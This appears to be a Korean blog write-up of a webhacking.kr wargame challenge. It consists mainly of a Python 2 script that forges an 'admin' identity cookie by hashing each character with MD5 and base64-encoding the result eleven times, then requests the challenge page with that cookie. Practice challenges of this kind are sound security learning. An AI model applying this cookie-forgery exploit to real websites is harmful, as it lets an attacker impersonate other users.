풀이는 많이 있으니 생략...
import urllib2,base64,hashlib req = urllib2.Request('http://webhacking.kr','id=?????&pw=?????') session = urllib2.urlopen(req).headers.get('set-cookie') id = 'admin' cookie = '' for i in id: cookie += hashlib.md5(i).hexdigest() #한글자 한글자 md5. cookie += 'd41d8cd98f00b204e9800998ecf8427e' #맨끝에 덧붙여줌 for i in range(0,11): cookie = base64.b64encode(cookie) #11번 base64 cookie = urllib2.quote(cookie) #urlencoding req = urllib2.Request('http://webhacking.kr/challenge/javascript/js6.html') req.add_header('cookie',session+'; userid='+cookie) print urllib2.urlopen(req).read()
'webhacking > client' 카테고리의 다른 글
suninatas level 7 (0) | 2014.10.30 |
---|---|
suninatas level 5 (0) | 2014.10.30 |
wargame.kr fly_me_to_the_moon (2) | 2014.09.29 |
wargame.kr QR CODE PUZZLE (1) | 2014.09.28 |
codeshell.kr readonly (0) | 2014.09.24 |